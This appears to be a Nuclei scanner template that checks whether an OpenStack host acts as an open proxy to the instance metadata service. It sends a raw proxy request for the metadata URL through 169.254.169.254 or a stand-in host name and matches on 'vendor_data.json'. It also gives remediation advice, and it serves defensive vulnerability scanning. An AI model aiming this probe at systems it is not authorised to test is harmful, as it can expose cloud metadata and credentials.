id: metadata-service-openstack

# This attack abuses a misconfigured proxy that allows access to the metadata
# IP or a name which resolves to the IP. A standard proxy request is made to
# the proxy using the full metadata URL, which the proxy will fulfull to its
# own metadata sevice.
#
# The proxy may also be vulnerable to host/port enumeration on localhost or
# inside the private network.

info:
  name: Openstack Metadata Service Check
  author: sullo
  severity: critical
  description: The Openstack host is configured as a proxy which allows access to the instance metadata service. This could allow significant access to the host/infrastructure.
  remediation: Disable the proxy or restrict configuraiton to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible.
  reference:
    - https://docs.openstack.org/nova/latest/admin/metadata-service.html
    - https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
    - https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/
  tags: exposure,config,openstack,proxy,misconfig,metadata

requests:
  - raw:
      - |+
        GET http://{{hostval}}/openstack/latest HTTP/1.1
        Host: {{hostval}}

    payloads:
      hostval:
        - aws.interact.sh
        - 169.254.169.254

    unsafe: true
    matchers:
      - type: word
        part: body
        words:
          - "vendor_data.json"